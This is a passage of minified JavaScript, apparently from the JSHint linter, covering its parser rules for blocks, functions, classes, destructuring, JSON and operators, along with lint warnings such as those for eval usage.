strict\"]&&!f.isStrict()&&z(\"E007\")}o=Ht(),v.statementCount+=o.length,n&&(f.directive=l),b-=f.option.indent}Y(\"}\",h),f.funct[\"(blockscope)\"].unstack(),b=a}else if(!e)if(n){l={},t&&!i&&!f.inMoz()&&X(\"W118\",f.tokens.curr,\"function closure expressions\");if(!t)for(d in f.directive)r.has(f.directive,d)&&(l[d]=f.directive[d]);nt(10),f.option.strict&&f.funct[\"(context)\"][\"(global)\"]&&!l[\"use strict\"]&&!f.isStrict()&&z(\"E007\")}else X(\"E021\",f.tokens.next,\"{\",f.tokens.next.value);else f.funct[\"(noblockscopedvar)\"]=!0,(!t||f.option.curly)&&z(\"W116\",f.tokens.next,\"{\",f.tokens.next.value),f.tokens.next.inBracelessBlock=!0,b+=f.option.indent,o=[Pt()],b-=f.option.indent,delete f.funct[\"(noblockscopedvar)\"];switch(f.funct[\"(verb)\"]){case\"break\":case\"continue\":case\"return\":case\"throw\":if(s)break;default:f.funct[\"(verb)\"]=null}if(!e||!f.option.funcscope)N=c;return y=u,e&&f.option.noempty&&(!o||o.length===0)&&z(\"W035\",f.tokens.prev),v.nestedBlockDepth-=1,o}function Ft(e){x&&typeof x[e]!=\"boolean\"&&z(\"W036\",f.tokens.curr,e),typeof S[e]==\"number\"?S[e]+=1:S[e]=1}function It(e){var t=e.value,n=Object.getOwnPropertyDescriptor(g,t);n?n.value.push(e.line):g[t]=[e.line]}function Ut(){var e={};e.exps=!0,f.funct[\"(comparray)\"].stack();var t=!1;return f.tokens.next.value!==\"for\"&&(t=!0,f.inMoz()||z(\"W116\",f.tokens.next,\"for\",f.tokens.next.value),f.funct[\"(comparray)\"].setState(\"use\"),e.right=nt(10)),Y(\"for\"),f.tokens.next.value===\"each\"&&(Y(\"each\"),f.inMoz()||z(\"W118\",f.tokens.curr,\"for each\")),Y(\"(\"),f.funct[\"(comparray)\"].setState(\"define\"),e.left=nt(130),r.contains([\"in\",\"of\"],f.tokens.next.value)?Y():X(\"E045\",f.tokens.curr),f.funct[\"(comparray)\"].setState(\"generate\"),nt(10),Y(\")\"),f.tokens.next.value===\"if\"&&(Y(\"if\"),Y(\"(\"),f.funct[\"(comparray)\"].setState(\"filter\"),e.filter=nt(10),Y(\")\")),t||(f.funct[\"(comparray)\"].setState(\"use\"),e.right=nt(10)),Y(\"]\"),f.funct[\"(comparray)\"].unstack(),e}function zt(){return f.funct[\"(statement)\"]&&f.funct[\"(statement)\"].type===\"class\"||f.funct[\"(context)\"]&&f.funct[\"(context)\"][\"(verb)\"]===\"class\"}function Wt(e){return e.identifier||e.id===\"(string)\"||e.id===\"(number)\"}function Xt(e){var t,n=!0;return typeof e==\"object\"?t=e:(n=e,t=Ot(!1,!0,n)),t?typeof t==\"object\"&&(t.id===\"(string)\"||t.id===\"(identifier)\"?t=t.value:t.id===\"(number)\"&&(t=t.value.toString())):f.tokens.next.id===\"(string)\"?(t=f.tokens.next.value,n||Y()):f.tokens.next.id===\"(number)\"&&(t=f.tokens.next.value.toString(),n||Y()),t===\"hasOwnProperty\"&&z(\"W001\"),t}function Vt(e){var t,n=[],i,s=[],o,u=!1,a=!1,l=e&&e.loneArg;if(l&&l.identifier===!0)return J(l.value,{type:\"unused\",token:l}),[l.value];t=f.tokens.next,(!e||!e.parsedOpening)&&Y(\"(\");if(f.tokens.next.id===\")\"){Y(\")\");return}for(;;){if(r.contains([\"{\",\"[\"],f.tokens.next.id)){s=nn();for(o in s)o=s[o],o.id&&(n.push(o.id),J(o.id,{type:\"unused\",token:o.token}))}else{mn(f.tokens.next,[\"...\"])&&(a=!0),i=Mt(!0);if(i)n.push(i),J(i,{type:\"unused\",token:f.tokens.curr});else while(!mn(f.tokens.next,[\",\",\")\"]))Y()}u&&f.tokens.next.id!==\"=\"&&X(\"E051\",f.tokens.current),f.tokens.next.id===\"=\"&&(f.inESNext()||z(\"W119\",f.tokens.next,\"default parameters\"),Y(\"=\"),u=!0,nt(10));if(f.tokens.next.id!==\",\")return Y(\")\",t),n;a&&z(\"W131\",f.tokens.next),ut()}}function $t(e,t,n,i){var s={\"(name)\":e,\"(breakage)\":0,\"(loopage)\":0,\"(scope)\":n,\"(tokens)\":{},\"(properties)\":{},\"(catch)\":!1,\"(global)\":!1,\"(line)\":null,\"(character)\":null,\"(metrics)\":null,\"(statement)\":null,\"(context)\":null,\"(blockscope)\":null,\"(comparray)\":null,\"(generator)\":null,\"(params)\":null};return t&&r.extend(s,{\"(line)\":t.line,\"(character)\":t.character,\"(metrics)\":Yt(t)}),r.extend(s,i),s[\"(context)\"]&&(s[\"(blockscope)\"]=s[\"(context)\"][\"(blockscope)\"],s[\"(comparray)\"]=s[\"(context)\"][\"(comparray)\"]),s}function Jt(e){return\"(scope)\"in e}function Kt(e){return e[\"(global)\"]&&!e[\"(verb)\"]}function Qt(e){function i(){if(f.tokens.curr.template&&f.tokens.curr.tail&&f.tokens.curr.context===t)return!0;var e=f.tokens.next.template&&f.tokens.next.tail&&f.tokens.next.context===t;return e&&Y(),e||f.tokens.next.isUnclosed}var t=this.context,n=this.noSubst,r=this.depth;if(!n)while(!i())!f.tokens.next.template||f.tokens.next.depth>r?nt(0):Y();return{id:\"(template)\",type:\"(template)\",tag:e}}function Gt(e){var t,n,i,s,o,u,a=f.option,l=f.ignored,c=N;return e&&(n=e.name,i=e.statement,s=e.classExprBinding,o=e.type===\"generator\",u=e.type===\"arrow\"),f.option=Object.create(f.option),f.ignored=Object.create(f.ignored),N=Object.create(N),f.funct=$t(n||f.nameStack.infer(),f.tokens.next,N,{\"(statement)\":i,\"(context)\":f.funct,\"(generator)\":o}),t=f.funct,f.tokens.curr.funct=f.funct,v.push(f.funct),n&&J(n,{type:\"function\"}),s&&J(s,{type:\"function\"}),f.funct[\"(params)\"]=Vt(e),f.funct[\"(metrics)\"].verifyMaxParametersPerFunction(f.funct[\"(params)\"]),u&&(f.option.esnext||z(\"W119\",f.tokens.curr,\"arrow function syntax (=>)\"),e.loneArg||Y(\"=>\")),jt(!1,!0,!0,u),!f.option.noyield&&o&&f.funct[\"(generator)\"]!==\"yielded\"&&z(\"W124\",f.tokens.curr),f.funct[\"(metrics)\"].verifyMaxStatementsPerFunction(),f.funct[\"(metrics)\"].verifyMaxComplexityPerFunction(),f.funct[\"(unusedOption)\"]=f.option.unused,N=c,f.option=a,f.ignored=l,f.funct[\"(last)\"]=f.tokens.curr.line,f.funct[\"(lastcharacter)\"]=f.tokens.curr.character,r.map(Object.keys(f.funct),function(e){if(e[0]===\"(\")return;f.funct[\"(blockscope)\"].unshadow(e)}),f.funct=f.funct[\"(context)\"],t}function Yt(e){return{statementCount:0,nestedBlockDepth:-1,ComplexityCount:1,verifyMaxStatementsPerFunction:function(){f.option.maxstatements&&this.statementCount>f.option.maxstatements&&z(\"W071\",e,this.statementCount)},verifyMaxParametersPerFunction:function(t){t=t||[],r.isNumber(f.option.maxparams)&&t.length>f.option.maxparams&&z(\"W072\",e,t.length)},verifyMaxNestedBlockDepthPerFunction:function(){f.option.maxdepth&&this.nestedBlockDepth>0&&this.nestedBlockDepth===f.option.maxdepth+1&&z(\"W073\",null,this.nestedBlockDepth)},verifyMaxComplexityPerFunction:function(){var t=f.option.maxcomplexity,n=this.ComplexityCount;t&&n>t&&z(\"W074\",e,n)}}}function Zt(){f.funct[\"(metrics)\"].ComplexityCount+=1}function en(e){var t,n;e&&(t=e.id,n=e.paren,t===\",\"&&(e=e.exprs[e.exprs.length-1])&&(t=e.id,n=n||e.paren));switch(t){case\"=\":case\"+=\":case\"-=\":case\"*=\":case\"%=\":case\"&=\":case\"|=\":case\"^=\":case\"/=\":!n&&!f.option.boss&&z(\"W084\")}}function tn(e){if(f.inES5())for(var t in e)r.has(e,t)&&e[t].setterToken&&!e[t].getterToken&&z(\"W078\",e[t].setterToken)}function nn(){var e,t,n=[];f.inESNext()||z(\"W104\",f.tokens.curr,\"destructuring expression\");var r=function(){var e;if(mn(f.tokens.next,[\"[\",\"{\"])){t=nn();for(var i in t)i=t[i],n.push({id:i.id,token:i.token})}else if(mn(f.tokens.next,[\",\"]))n.push({id:null,token:f.tokens.curr});else{if(!mn(f.tokens.next,[\"(\"])){var s=mn(f.tokens.next,[\"...\"]);return e=Mt(),e&&n.push({id:e,token:f.tokens.curr}),s}Y(\"(\"),r(),Y(\")\")}return!1};if(mn(f.tokens.next,[\"[\"])){Y(\"[\");var i=!1;r()&&mn(f.tokens.next,[\",\"])&&!i&&(z(\"W130\",f.tokens.next),i=!0);while(!mn(f.tokens.next,[\"]\"])){Y(\",\");if(mn(f.tokens.next,[\"]\"]))break;r()&&mn(f.tokens.next,[\",\"])&&!i&&(z(\"W130\",f.tokens.next),i=!0)}Y(\"]\")}else if(mn(f.tokens.next,[\"{\"])){Y(\"{\"),e=Mt(),mn(f.tokens.next,[\":\"])?(Y(\":\"),r()):n.push({id:e,token:f.tokens.curr});while(!mn(f.tokens.next,[\"}\"])){Y(\",\");if(mn(f.tokens.next,[\"}\"]))break;e=Mt(),mn(f.tokens.next,[\":\"])?(Y(\":\"),r()):n.push({id:e,token:f.tokens.curr})}Y(\"}\")}return n}function rn(e,t){var n=t.first;if(!n)return;r.zip(e,Array.isArray(n)?n:[n]).forEach(function(e){var t=e[0],n=e[1];t&&n?t.first=n:t&&t.first&&!n&&z(\"W080\",t.first,t.first.value)})}function sn(e,t,n){var i=n&&n.prefix,s=n&&n.inexport,o=e===\"let\",u=e===\"const\",a,l,c,h;f.inESNext()||z(\"W104\",f.tokens.curr,e),o&&f.tokens.next.value===\"(\"?(f.inMoz()||z(\"W118\",f.tokens.next,\"let block\"),Y(\"(\"),f.funct[\"(blockscope)\"].stack(),h=!0):f.funct[\"(noblockscopedvar)\"]&&X(\"E048\",f.tokens.curr,u?\"Const\":\"Let\"),t.first=[];for(;;){var d=[];r.contains([\"{\",\"[\"],f.tokens.next.value)?(a=nn(),l=!1):(a=[{id:Mt(),token:f.tokens.curr}],l=!0,s&&(p[f.tokens.curr.value]=!0,f.tokens.curr.exported=!0));for(var v in a)a.hasOwnProperty(v)&&(v=a[v],f.inESNext()&&f.funct[\"(blockscope)\"].current.labeltype(v.id)===\"const\"&&z(\"E011\",null,v.id),f.funct[\"(global)\"]&&T[v.id]===!1&&z(\"W079\",v.token,v.id),v.id&&!f.funct[\"(noblockscopedvar)\"]&&(J(v.id,{type:u?\"const\":\"unused\",token:v.token,isblockscoped:!0}),d.push(v.token)));t.first=t.first.concat(d),!i&&u&&f.tokens.next.id!==\"=\"&&z(\"E012\",f.tokens.curr,f.tokens.curr.value),f.tokens.next.id===\"=\"&&(Y(\"=\"),!i&&f.tokens.next.id===\"undefined\"&&z(\"W080\",f.tokens.prev,f.tokens.prev.value),!i&&Q(0).id===\"=\"&&f.tokens.next.identifier&&z(\"W120\",f.tokens.next,f.tokens.next.value),c=nt(i?120:10),l?a[0].first=c:rn(d,c));if(f.tokens.next.id!==\",\")break;ut()}return h&&(Y(\")\"),jt(!0,!0),t.block=!0,f.funct[\"(blockscope)\"].unstack()),t}function fn(e){return f.inESNext()||z(\"W104\",f.tokens.curr,\"class\"),e?(this.name=Mt(),J(this.name,{type:\"unused\",token:f.tokens.curr})):f.tokens.next.identifier&&f.tokens.next.value!==\"extends\"?(this.name=Mt(),this.namedExpr=!0):this.name=f.nameStack.infer(),ln(this),this}function ln(e){var t=f.inClassBody;f.tokens.next.value===\"extends\"&&(Y(\"extends\"),e.heritage=nt(10)),f.inClassBody=!0,Y(\"{\"),e.body=cn(e),Y(\"}\"),f.inClassBody=t}function cn(e){var t,n,r,i,s={},o={},u;for(var a=0;f.tokens.next.id!==\"}\";++a){t=f.tokens.next,n=!1,r=!1,i=null;if(t.id===\";\"){z(\"W032\"),Y(\";\");continue}t.id===\"*\"&&(r=!0,Y(\"*\"),t=f.tokens.next);if(t.id===\"[\")t=vn(),u=!0;else{if(!Wt(t)){z(\"W052\",f.tokens.next,f.tokens.next.value||f.tokens.next.type),Y();continue}Y(),u=!1;if(t.identifier&&t.value===\"static\"){mn(f.tokens.next,[\"*\"])&&(r=!0,Y(\"*\"));if(Wt(f.tokens.next)||f.tokens.next.id===\"[\")u=f.tokens.next.id===\"[\",n=!0,t=f.tokens.next,f.tokens.next.id===\"[\"?t=vn():Y()}t.identifier&&(t.value===\"get\"||t.value===\"set\")&&(Wt(f.tokens.next)||f.tokens.next.id===\"[\")&&(u=f.tokens.next.id===\"[\",i=t,t=f.tokens.next,f.tokens.next.id===\"[\"?t=vn():Y())}if(!mn(f.tokens.next,[\"(\"])){X(\"E054\",f.tokens.next,f.tokens.next.value);while(f.tokens.next.id!==\"}\"&&!mn(f.tokens.next,[\"(\"]))Y();f.tokens.next.value!==\"(\"&&Gt({statement:e})}u||(i?dn(i.value,n?o:s,t.value,t,!0,n):(t.value===\"constructor\"?f.nameStack.set(e):f.nameStack.set(t),pn(n?o:s,t.value,t,!0,n)));if(i&&t.value===\"constructor\"){var l=i.value===\"get\"?\"class getter method\":\"class setter method\";X(\"E049\",t,l,\"constructor\")}else t.value===\"prototype\"&&X(\"E049\",t,\"class method\",\"prototype\");Xt(t),Gt({statement:e,type:r?\"generator\":null,classExprBinding:e.namedExpr?e.name:null})}tn(s)}function pn(e,t,n,i,s){var o=[\"key\",\"class method\",\"static class method\"];o=o[(i||!1)+(s||!1)],n.identifier&&(t=n.value),e[t]&&r.has(e,t)?z(\"W075\",f.tokens.next,o,t):e[t]={},e[t].basic=!0,e[t].basictkn=n}function dn(e,t,n,i,s,o){var u=e===\"get\"?\"getterToken\":\"setterToken\",a=\"\";s?(o&&(a+=\"static \"),a+=e+\"ter method\"):a=\"key\",f.tokens.curr.accessorType=e,f.nameStack.set(i),t[n]&&r.has(t,n)?(t[n].basic||t[n][u])&&z(\"W075\",f.tokens.next,a,n):t[n]={},t[n][u]=i}function vn(){Y(\"[\"),f.option.esnext||z(\"W119\",f.tokens.curr,\"computed property names\");var e=nt(10);return Y(\"]\"),e}function mn(e,t){return e.type===\"(punctuator)\"&&r.contains(t,e.value)}function gn(){var e=hn();e.notJson?(!f.inESNext()&&e.isDestAssign&&z(\"W104\",f.tokens.curr,\"destructuring assignment\"),Ht()):(f.option.laxbreak=!0,f.jsonMode=!0,bn())}function bn(){function e(){var e={},t=f.tokens.next;Y(\"{\");if(f.tokens.next.id!==\"}\")for(;;){if(f.tokens.next.id===\"(end)\")X(\"E026\",f.tokens.next,t.line);else{if(f.tokens.next.id===\"}\"){z(\"W094\",f.tokens.curr);break}f.tokens.next.id===\",\"?X(\"E028\",f.tokens.next):f.tokens.next.id!==\"(string)\"&&z(\"W095\",f.tokens.next,f.tokens.next.value)}e[f.tokens.next.value]===!0?z(\"W075\",f.tokens.next,\"key\",f.tokens.next.value):f.tokens.next.value===\"__proto__\"&&!f.option.proto||f.tokens.next.value===\"__iterator__\"&&!f.option.iterator?z(\"W096\",f.tokens.next,f.tokens.next.value):e[f.tokens.next.value]=!0,Y(),Y(\":\"),bn();if(f.tokens.next.id!==\",\")break;Y(\",\")}Y(\"}\")}function t(){var e=f.tokens.next;Y(\"[\");if(f.tokens.next.id!==\"]\")for(;;){if(f.tokens.next.id===\"(end)\")X(\"E027\",f.tokens.next,e.line);else{if(f.tokens.next.id===\"]\"){z(\"W094\",f.tokens.curr);break}f.tokens.next.id===\",\"&&X(\"E028\",f.tokens.next)}bn();if(f.tokens.next.id!==\",\")break;Y(\",\")}Y(\"]\")}switch(f.tokens.next.id){case\"{\":e();break;case\"[\":t();break;case\"true\":case\"false\":case\"null\":case\"(number)\":case\"(string)\":Y();break;case\"-\":Y(\"-\"),Y(\"(number)\");break;default:X(\"E003\",f.tokens.next)}}var e,t={\"<\":!0,\"<=\":!0,\"==\":!0,\"===\":!0,\"!==\":!0,\"!=\":!0,\">\":!0,\">=\":!0,\"+\":!0,\"-\":!0,\"*\":!0,\"/\":!0,\"%\":!0},n,p,d=[\"closure\",\"exception\",\"global\",\"label\",\"outer\",\"unused\",\"var\"],v,m,g,y,b,w,E,S,x,T,N,C,k,L,A=[],O=new i.EventEmitter,St={};St.legacy=[\"xml\",\"unknown\"],St.es3=[\"undefined\",\"boolean\",\"number\",\"string\",\"function\",\"object\"],St.es3=St.es3.concat(St.legacy),St.es6=St.es3.concat(\"symbol\"),dt(\"(number)\",function(){return this}),dt(\"(string)\",function(){return this}),f.syntax[\"(identifier)\"]={type:\"(identifier)\",lbp:0,identifier:!0,nud:function(){var e=this.value,t=N[e],n,r;if(f.tokens.next.id===\"=>\")return this;r=f.funct[\"(blockscope)\"].getlabel(e),typeof t==\"function\"?t=undefined:!r&&typeof t==\"boolean\"&&(n=f.funct,f.funct=v[0],J(e,{type:\"var\"}),t=f.funct,f.funct=n);if(f.funct===t||r)switch(r?r[e][\"(type)\"]:f.funct[e]){case\"unused\":r?r[e][\"(type)\"]=\"var\":f.funct[e]=\"var\";break;case\"unction\":r?r[e][\"(type)\"]=\"function\":f.funct[e]=\"function\",this[\"function\"]=!0;break;case\"const\":r[e][\"(unused)\"]=!1;break;case\"function\":this[\"function\"]=!0;break;case\"label\":z(\"W037\",f.tokens.curr,e)}else switch(f.funct[e]){case\"closure\":case\"function\":case\"var\":case\"unused\":z(\"W038\",f.tokens.curr,e);break;case\"label\":z(\"W037\",f.tokens.curr,e);break;case\"outer\":case\"global\":break;default:if(t===!0)f.funct[e]=!0;else if(t===null)z(\"W039\",f.tokens.curr,e),It(f.tokens.curr);else if(typeof t!=\"object\")f.funct[\"(comparray)\"].check(e)||R(f.funct,\"W117\",f.tokens.curr,e),f.funct[\"(global)\"]||(f.funct[e]=!0),It(f.tokens.curr);else switch(t[e]){case\"function\":case\"unction\":this[\"function\"]=!0,t[e]=\"closure\",f.funct[e]=t[\"(global)\"]?\"global\":\"outer\";break;case\"var\":case\"unused\":t[e]=\"closure\",f.funct[e]=t[\"(global)\"]?\"global\":\"outer\";break;case\"closure\":f.funct[e]=t[\"(global)\"]?\"global\":\"outer\";break;case\"label\":z(\"W037\",f.tokens.curr,e)}}return this},led:function(){X(\"E033\",f.tokens.next,f.tokens.next.value)}};var qt={lbp:0,identifier:!1,template:!0};f.syntax[\"(template)\"]=r.extend({type:\"(template)\",nud:Qt,led:Qt,noSubst:!1},qt),f.syntax[\"(template middle)\"]=r.extend({type:\"(template middle)\",middle:!0,noSubst:!1},qt),f.syntax[\"(template tail)\"]=r.extend({type:\"(template tail)\",tail:!0,noSubst:!1},qt),f.syntax[\"(no subst template)\"]=r.extend({type:\"(template)\",nud:Qt,led:Qt,noSubst:!0,tail:!0},qt),dt(\"(regexp)\",function(){return this}),ft(\"(endline)\"),ft(\"(begin)\"),ft(\"(end)\").reach=!0,ft(\"(error)\").reach=!0,ft(\"}\").reach=!0,ft(\")\"),ft(\"]\"),ft('\"').reach=!0,ft(\"'\").reach=!0,ft(\";\"),ft(\":\").reach=!0,ft(\"#\"),vt(\"else\"),vt(\"case\").reach=!0,vt(\"catch\"),vt(\"default\").reach=!0,vt(\"finally\"),gt(\"arguments\",function(e){f.isStrict()&&f.funct[\"(global)\"]&&z(\"E008\",e)}),gt(\"eval\"),gt(\"false\"),gt(\"Infinity\"),gt(\"null\"),gt(\"this\",function(e){f.isStrict()&&!zt()&&!f.option.validthis&&(f.funct[\"(statement)\"]&&f.funct[\"(name)\"].charAt(0)>\"Z\"||f.funct[\"(global)\"])&&z(\"W040\",e)}),gt(\"true\"),gt(\"undefined\"),Ct(\"=\",\"assign\",20),Ct(\"+=\",\"assignadd\",20),Ct(\"-=\",\"assignsub\",20),Ct(\"*=\",\"assignmult\",20),Ct(\"/=\",\"assigndiv\",20).nud=function(){X(\"E014\")},Ct(\"%=\",\"assignmod\",20),Lt(\"&=\"),Lt(\"|=\"),Lt(\"^=\"),Lt(\"<<=\"),Lt(\">>=\"),Lt(\">>>=\"),yt(\",\",function(e,t){var n;t.exprs=[e],f.option.nocomma&&z(\"W127\");if(!ut({peek:!0}))return t;for(;;){if(!(n=nt(10)))break;t.exprs.push(n);if(f.tokens.next.value!==\",\"||!ut())break}return t},10,!0),yt(\"?\",function(e,t){return Zt(),t.left=e,t.right=nt(10),Y(\":\"),t[\"else\"]=nt(10),t},30);var Rt=40;yt(\"||\",function(e,t){return Zt(),t.left=e,t.right=nt(Rt),t},Rt),yt(\"&&\",\"and\",50),kt(\"|\",\"bitor\",70),kt(\"^\",\"bitxor\",80),kt(\"&\",\"bitand\",90),wt(\"==\",function(e,t){var n=f.option.eqnull&&(e.value===\"null\"||t.value===\"null\");switch(!0){case!n&&f.option.eqeqeq:this.from=this.character,z(\"W116\",this,\"===\",\"==\");break;case Et(e):z(\"W041\",this,\"===\",e.value);break;case Et(t):z(\"W041\",this,\"===\",t.value);break;case xt(t,e,f):z(\"W122\",this,t.value);break;case xt(e,t,f):z(\"W122\",this,e.value)}return this}),wt(\"===\",function(e,t){return xt(t,e,f)?z(\"W122\",this,t.value):xt(e,t,f)&&z(\"W122\",this,e.value),this}),wt(\"!=\",function(e,t){var n=f.option.eqnull&&(e.value===\"null\"||t.value===\"null\");return!n&&f.option.eqeqeq?(this.from=this.character,z(\"W116\",this,\"!==\",\"!=\")):Et(e)?z(\"W041\",this,\"!==\",e.value):Et(t)?z(\"W041\",this,\"!==\",t.value):xt(t,e,f)?z(\"W122\",this,t.value):xt(e,t,f)&&z(\"W122\",this,e.value),this}),wt(\"!==\",function(e,t){return xt(t,e,f)?z(\"W122\",this,t.value):xt(e,t,f)&&z(\"W122\",this,e.value),this}),wt(\"<\"),wt(\">\"),wt(\"<=\"),wt(\">=\"),kt(\"<<\",\"shiftleft\",120),kt(\">>\",\"shiftright\",120),kt(\">>>\",\"shiftrightunsigned\",120),yt(\"in\",\"in\",120),yt(\"instanceof\",\"instanceof\",120),yt(\"+\",function(e,t){var n;return t.left=e,t.right=n=nt(130),e&&n&&e.id===\"(string)\"&&n.id===\"(string)\"?(e.value+=n.value,e.character=n.character,!f.option.scripturl&&a.javascriptURL.test(e.value)&&z(\"W050\",e),e):t},130),pt(\"+\",\"num\"),pt(\"+++\",function(){return z(\"W007\"),this.arity=\"unary\",this.right=nt(150),this}),yt(\"+++\",function(e){return z(\"W007\"),this.left=e,this.right=nt(130),this},130),yt(\"-\",\"sub\",130),pt(\"-\",\"neg\"),pt(\"---\",function(){return z(\"W006\"),this.arity=\"unary\",this.right=nt(150),this}),yt(\"---\",function(e){return z(\"W006\"),this.left=e,this.right=nt(130),this},130),yt(\"*\",\"mult\",140),yt(\"/\",\"div\",140),yt(\"%\",\"mod\",140),At(\"++\"),pt(\"++\",\"preinc\"),f.syntax[\"++\"].exps=!0,At(\"--\"),pt(\"--\",\"predec\"),f.syntax[\"--\"].exps=!0,pt(\"delete\",function(){var e=nt(10);return e?(e.id!==\".\"&&e.id!==\"[\"&&z(\"W051\"),this.first=e,e.identifier&&!f.isStrict()&&(e.forgiveUndef=!0),this):this}).exps=!0,pt(\"~\",function(){return f.option.bitwise&&z(\"W016\",this,\"~\"),this.arity=\"unary\",nt(150),this}),pt(\"...\",function(){return f.option.esnext||z(\"W119\",this,\"spread/rest operator\"),!f.tokens.next.identifier&&f.tokens.next.type!==\"(string)\"&&!mn(f.tokens.next,[\"[\",\"(\"])&&X(\"E030\",f.tokens.next,f.tokens.next.value),nt(150),this}),pt(\"!\",function(){return this.arity=\"unary\",this.right=nt(150),this.right||q(\"E041\",this.line||0),t[this.right.id]===!0&&z(\"W018\",this,\"!\"),this}),pt(\"typeof\",function(){var e=nt(150);return this.first=e,e.identifier&&(e.forgiveUndef=!0),this}),pt(\"new\",function(){var e=nt(155),t;if(e&&e.id!==\"function\")if(e.identifier){e[\"new\"]=!0;switch(e.value){case\"Number\":case\"String\":case\"Boolean\":case\"Math\":case\"JSON\":z(\"W053\",f.tokens.prev,e.value);break;case\"Symbol\":f.option.esnext&&z(\"W053\",f.tokens.prev,e.value);break;case\"Function\":f.option.evil||z(\"W054\");break;case\"Date\":case\"RegExp\":case\"this\":break;default:e.id!==\"function\"&&(t=e.value.substr(0,1),f.option.newcap&&(t<\"A\"||t>\"Z\")&&!r.has(m,e.value)&&z(\"W055\",f.tokens.curr))}}else e.id!==\".\"&&e.id!==\"[\"&&e.id!==\"(\"&&z(\"W056\",f.tokens.curr);else f.option.supernew||z(\"W057\",this);return f.tokens.next.id!==\"(\"&&!f.option.supernew&&z(\"W058\",f.tokens.curr,f.tokens.curr.value),this.first=e,this}),f.syntax[\"new\"].exps=!0,pt(\"void\").exps=!0,yt(\".\",function(e,t){var n=Mt(!1,!0);return typeof n==\"string\"&&Ft(n),t.left=e,t.right=n,n&&n===\"hasOwnProperty\"&&f.tokens.next.value===\"=\"&&z(\"W001\"),!e||e.value!==\"arguments\"||n!==\"callee\"&&n!==\"caller\"?!f.option.evil&&e&&e.value===\"document\"&&(n===\"write\"||n===\"writeln\")&&z(\"W060\",e):f.option.noarg?z(\"W059\",e,n):f.isStrict()&&X(\"E008\"),!f.option.evil&&(n===\"eval\"||n===\"execScript\")&&Tt(e,f)&&z(\"W061\"),t},160,!0),yt(\"(\",function(e,t){f.option.immed&&e&&!e.immed&&e.id===\"function\"&&z(\"W062\");var n=0,r=[];e&&e.type===\"(identifier)\"&&e.value.match(/^[A-Z]([A-Z0-9_$]*[a-z][A-Za-z0-9_$]*)?$/)&&\"Number String Boolean Date Object Error Symbol\".indexOf(e.value)===-1&&(e.value===\"Math\"?z(\"W063\",e):f.option.newcap&&z(\"W064\",e));if(f.tokens.next.id!==\")\")for(;;){r[r.length]=nt(10),n+=1;if(f.tokens.next.id!==\",\")break;ut()}return Y(\")\"),typeof e==\"object\"&&(f.inES3()&&e.value===\"parseInt\"&&n===1&&z(\"W065\",f.tokens.curr),f.option.evil||(e.value===\"eval\"||e.value===\"Function\"||e.value===\"execScript\"?(z(\"W061\",e),r[0]&&[0].id===\"(string)\"&&$(e,r[0].value)):!r[0]||r[0].id!==\"(string)\"||e.value!==\"setTimeout\"&&e.value!==\"setInterval\"?r[0]&&r[0].id===\"(string)\"&&e.value===\".\"&&e.left.value===\"window\"&&(e.right===\"setTimeout\"||e.right===\"setInterval\")&&(z(\"W066\",e),$(e,r[0].value)):(z(\"W066\",e),$(e,r[0].value))),!e.identifier&&e.id!==\".\"&&e.id!==\"[\"&&e.id!==\"(\"&&e.id!==\"&&\"&&e.id!==\"||\"&&e.id!==\"?\"&&(!f.option.esnext||!e[\"(name)\"])&&z(\"W067\",t)),t.left=e,t},155,!0).exps=!0,pt(\"(\",function(){var e=f.tokens.next,t,n=-1,r,i,s,o,u=1,a=f.tokens.curr,l=f.tokens.prev,c=!f.option.singleGroups;do e.value===\"(\"?u+=1:e.value===\")\"&&(u-=1),n+=1,t=e,e=Q(n);while((u!==0||t.value!==\")\")&&e.value!==\";\"&&e.type!==\"(end)\");f.tokens.next.id===\"function\"&&(i=f.tokens.next.immed=!0);if(e.value===\"=>\")return Gt({type:\"arrow\",parsedOpening:!0});var h=[];if(f.tokens.next.id!==\")\")for(;;){h.push(nt(10));if(f.tokens.next.id!==\",\")break;f.option.nocomma&&z(\"W127\"),ut()}Y(\")\",this),f.option.immed&&h[0]&&h[0].id===\"function\"&&f.tokens.next.id!==\"(\"&&f.tokens.next.id!==\".\"&&f.tokens.next.id!==\"[\"&&z(\"W068\",this);if(!h.length)return;return h.length>1?(r=Object.create(f.syntax[\",\"]),r.exprs=h,s=h[0],o=h[h.length-1],c||(c=l.assign||l.delim)):(r=s=o=h[0],c||(c=a.beginsStmt&&(r.id===\"{\"||i||Jt(r))||i&&(!et()||f.tokens.prev.id!==\"}\")||Jt(r)&&!et()||r.id===\"{\"&&l.id===\"=>\")),r&&(!c&&(s.left||r.exprs)&&(c=!tt(l)&&s.lbp<=l.lbp||!et()&&o.lbp<f.tokens.next.lbp),c||z(\"W126\",a),r.paren=!0),r}),bt(\"=>\"),yt(\"[\",function(e,t){var n=nt(10),r;return n&&n.type===\"(string)\"&&(!f.option.evil&&(n.value===\"eval\"||n.value===\"execScript\")&&Tt(e,f)&&z(\"W061\"),Ft(n.value),!f.option.sub&&a.identifier.test(n.value)&&(r=f.syntax[n.value],(!r||!H(r))&&z(\"W069\",f.tokens.prev,n.value))),Y(\"]\",t),n&&n.value===\"hasOwnProperty\"&&f.tokens.next.value===\"=\"&&z(\"W001\"),t.left=e,t.right=n,t},160,!0),pt(\"[\",function(){var e=hn();if(e.isCompArray)return f.inESNext()||z(\"W119\",f.tokens.curr,\"array comprehension\"),Ut();e.isDestAssign&&!f.inESNext()&&z(\"W104\",f.tokens.curr,\"destructuring assignment\");var t=f.tokens.curr.line!==rt(f.tokens.next);this.first=[],t&&(b+=f.option.indent,f.tokens.next.from===b+f.option.indent&&(b+=f.option.indent));while(f.tokens.next.id!==\"(end)\"){while(f.tokens.next.id===\",\"){if(!f.option.elision){if(!!f.inES5()){z(\"W128\");do Y(\",\");while(f.tokens.next.id===\",\");continue}z(\"W070\")}Y(\",\")}if(f.tokens.next.id===\"]\")break;this.first.push(nt(10));if(f.tokens.next.id!==\",\")break;ut({allowTrailing:!0});if(f.tokens.next.id===\"]\"&&!f.inES5(!0)){z(\"W070\",f.tokens.curr);break}}return t&&(b-=f.option.indent),Y(\"]\",this),this}),function(e){e.nud=function(){var 